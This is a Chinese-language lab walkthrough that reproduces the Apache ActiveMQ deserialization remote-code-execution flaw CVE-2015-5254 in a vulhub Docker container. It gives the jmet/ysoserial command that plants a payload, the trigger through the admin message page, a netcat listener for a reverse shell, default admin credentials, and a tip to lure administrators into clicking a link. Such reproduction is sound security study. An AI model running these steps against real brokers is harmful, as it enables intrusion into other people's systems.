漏洞前言
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
0x01 漏洞环境
1.在KALI2021.1下
启动docker服务
sudo service docker start
进入某一个漏洞/环境的目录
cd activemq/CVE-2015-5254/
自动化编译环境
docker-compose build
2.运行漏洞环境:
docker-compose up -d (推荐)或者 docker-compose build ///编译环境启动容器
环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://your-ip:8161即可看到网络管理页面,不过这个漏洞理论上是不需要网络的。
使用浏览器直接访问activemq,查看是否部署完毕
http://45.32.101.90:8161/admin/(默认的用户名/密码为admin/admin)
进入后的页面
0x02 漏洞复现
1.漏洞利用过程如下:
a.构造(可以使用ysoserial)可执行命令的序列化对象
b.作为一个消息,发送给目标61616端口
c.访问的Web管理页面,读取消息,触发漏洞
2.使用jmet进行漏洞利用:
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
cd /opt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external
3.执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/sucess” -Yp ROME 192.168.80.131 61616
4.此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://192.168.80.131:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:
5.点击查看这条消息即可触发命令执行
6.此时进入容器
─(root💀guiltyfet)-[/home/guiltyfet/vulhub/activemq/CVE-2015-5254]
└─# docker-compose exec activemq bash
7.可看到/ tmp /已成功创建,说明漏洞利用成功:
root@4a2960bae35a:/opt/apache-activemq-5.11.1# ls
LICENSE NOTICE README.txt activemq-all-5.11.1.jar bin conf data docs examples lib tmp webapps webapps-demo
root@4a2960bae35a:/opt/apache-activemq-5.11.1#
8.反弹shell:
将命令替换成弹shell语句再利用:
bese64编码
以下监听端口无反应
远程主机监听44444端口:
nc -lvvp 44444
即可看到反弹是shell:
值得注意的是,通过网络管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down
问题:
─(root💀guiltyfet)-[/home/guiltyfet/vulhub/activemq/CVE-2015-5254]
└─# docker-compose down
Removing network cve-2015-5254_default
WARNING: Network cve-2015-5254_default not found.